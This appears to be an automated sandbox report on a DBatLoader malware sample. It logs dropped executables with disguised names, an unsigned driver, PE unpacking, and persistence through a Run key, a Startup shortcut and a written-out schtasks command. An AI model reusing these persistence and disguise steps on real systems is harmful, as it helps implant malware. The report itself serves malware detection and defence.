Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ????.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ???e???????????.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ???e???????????.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: tquery.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: cryptdll.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: spp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: vssapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: vsstrace.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: spp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: vssapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: vsstrace.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: mssip32.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: endpointdlp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: endpointdlp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: endpointdlp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: endpointdlp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: advapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: advapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: advapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: advapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: advapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: advapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: advapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: spp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: vssapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: vsstrace.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppwmi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: slc.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppcext.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: winscard.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: devobj.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: cryptsp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: rsaenh.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: cryptbase.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: kernel.appcore.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: uxtheme.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: mscoree.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: wldp.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: amsi.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: userenv.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: profapi.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: version.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: gpapi.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: cryptsp.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: rsaenh.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: cryptbase.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: windows.storage.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: textshaping.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: textinputframework.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: coreuicomponents.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: coremessaging.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: ntmarta.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: coremessaging.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: wintypes.dll

Source: C:\Windows\System32\cscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: apihost.exe.lnk.12.dr

LNK file: ..\..\..\..\..\ACCApi\apihost.exe

Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Automated click: OK
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: PO#3_RKG367.bat

Static file information: File size 2158506 > 1048576

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: rpkhzpuO.pif, 00000018.00000002.2716549443.000000002FFA9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: x.exe, 00000006.00000002.2533914896.000000007F1A0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020A79000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC50000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000AE0000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.00000000209E5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A16000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: _.pdb source: rpkhzpuO.pif, 0000000A.00000003.2448553311.000000002D0DE000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000018.00000002.2741756362.00000000343B0000.00000004.08000000.00040000.00000000.sdmp, rpkhzpuO.pif, 00000018.00000002.2718853988.0000000031B53000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000018.00000003.2609245491.000000002FFBA000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000018.00000002.2740855997.0000000032F75000.00000004.00000800.00020000.00000000.sdmp, rpkhzpuO.pif, 0000001D.00000003.2772871636.00000000234E1000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 0000001D.00000002.2881899810.0000000026485000.00000004.00000800.00020000.00000000.sdmp, rpkhzpuO.pif, 0000001D.00000002.2869962358.00000000250F0000.00000004.08000000.00040000.00000000.sdmp, rpkhzpuO.pif, 0000001D.00000002.2869415210.0000000024E93000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: rpkhzpuO.pif, 00000018.00000003.2636484466.000000002FFF7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: rpkhzpuO.pif, 00000018.00000002.2716549443.000000002FFDB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: x.exe, 00000006.00000003.2437138708.0000000021B12000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F1A0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437138708.0000000021B41000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020A79000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC50000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000AE0000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.00000000209E5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588114567.0000000000822000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588114567.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A16000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000019.00000003.2749710698.0000000000723000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000019.00000003.2749710698.00000000006FA000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Unpacked PE file: 24.2.rpkhzpuO.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Unpacked PE file: 29.2.rpkhzpuO.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Unpacked PE file: 24.2.rpkhzpuO.pif.400000.0.unpack
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Unpacked PE file: 29.2.rpkhzpuO.pif.400000.0.unpack

Yara detected DBatLoader

Source: Yara match	File source: 6.2.x.exe.2c30000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.x.exe.22665a8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.x.exe.22665a8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2536406675.000000007FAA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2464206701.0000000002266000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000001.2446233147.00000000013E0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY

Source: rpkhzpuO.pif.6.dr

Static PE information: 0x7BBD3E91 [Sun Oct 14 18:38:09 2035 UTC]

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 6_2_02C487A0 LoadLibraryW,GetProcAddress,FreeLibrary,

6_2_02C487A0

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C372D7 push FFFFFFC3h; ret	6_2_02C37316
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C372D7 push FFFFFFC3h; ret	6_2_02C37372
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C5C2FC push 02C5C367h; ret	6_2_02C5C35F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C332FC push eax; ret	6_2_02C33338
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C3728F push FFFFFFC3h; ret	6_2_02C372B6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C432AF push FFFFFFC3h; ret	6_2_02C432E6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C432AF push FFFFFFC3h; ret	6_2_02C4333E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C43257 push 8402C336h; ret	6_2_02C431F9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C43257 push FFFFFFC3h; ret	6_2_02C432E6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C37223 push FFFFFFC3h; ret	6_2_02C372B6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C37233 push FFFFFFC3h; ret	6_2_02C3725A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C37393 push FFFFFFC3h; ret	6_2_02C37426
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C3635A push 02C363B7h; ret	6_2_02C363AF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C3635C push 02C363B7h; ret	6_2_02C363AF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C43307 push 8402C336h; ret	6_2_02C432A9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C43307 push FFFFFFC3h; ret	6_2_02C4333E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C37337 push FFFFFFC3h; ret	6_2_02C37316
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C37337 push FFFFFFC3h; ret	6_2_02C37372
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C3708B push FFFFFFC3h; ret	6_2_02C37092
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C4308F push 02C43041h; ret	6_2_02C43039
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C5C0AC push 02C5C125h; ret	6_2_02C5C11D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C371C7 push FFFFFFC3h; ret	6_2_02C3725A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C371C7 push FFFFFFC3h; ret	6_2_02C372B6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C5C1F8 push 02C5C288h; ret	6_2_02C5C280
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C5C144 push 02C5C1ECh; ret	6_2_02C5C1E4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C486C0 push 02C48702h; ret	6_2_02C486FA
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C396E0 pushfd ; ret	6_2_02C396E3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C396AE pushfd ; ret	6_2_02C396AF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C36740 push 02C36782h; ret	6_2_02C3677A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C3673E push 02C36782h; ret	6_2_02C3677A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C3C4F4 push ecx; mov dword ptr [esp], edx	6_2_02C3C4F9

Persistence and Installation Behavior

Command shell drops VBS files

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\x.vbs

Jump to behavior

Drops PE files with a suspicious file extension

Source: C:\Users\user\AppData\Local\Temp\x.exe	File created: C:\Users\Public\Libraries\Oupzhkpr.PIF			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x.exe	File created: C:\Users\Public\Libraries\rpkhzpuO.pif			Jump to dropped file

Sample is not signed and drops a device driver

Source: C:\Users\user\AppData\Local\Temp\x.exe	File created: C:\Windows \SysWOW64\truesight.sys	Jump to behavior
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	File created: C:\Windows \SysWOW64\truesight.sys
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	File created: C:\Windows \SysWOW64\truesight.sys

Source: C:\Windows\System32\cscript.exe	File created: C:\Users\user\AppData\Local\Temp\x.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x.exe	File created: C:\Users\Public\Libraries\Oupzhkpr.PIF	Jump to dropped file
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	File created: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	File created: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x.exe	File created: C:\Users\Public\Libraries\rpkhzpuO.pif	Jump to dropped file
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	File created: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe" /st 13:14 /du 23:59 /sc daily /ri 1 /f

Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\apihost.exe.lnk

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\apihost.exe.lnk

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Oupzhkpr			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Oupzhkpr			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 6_2_02C4A95C GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

6_2_02C4A95C

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
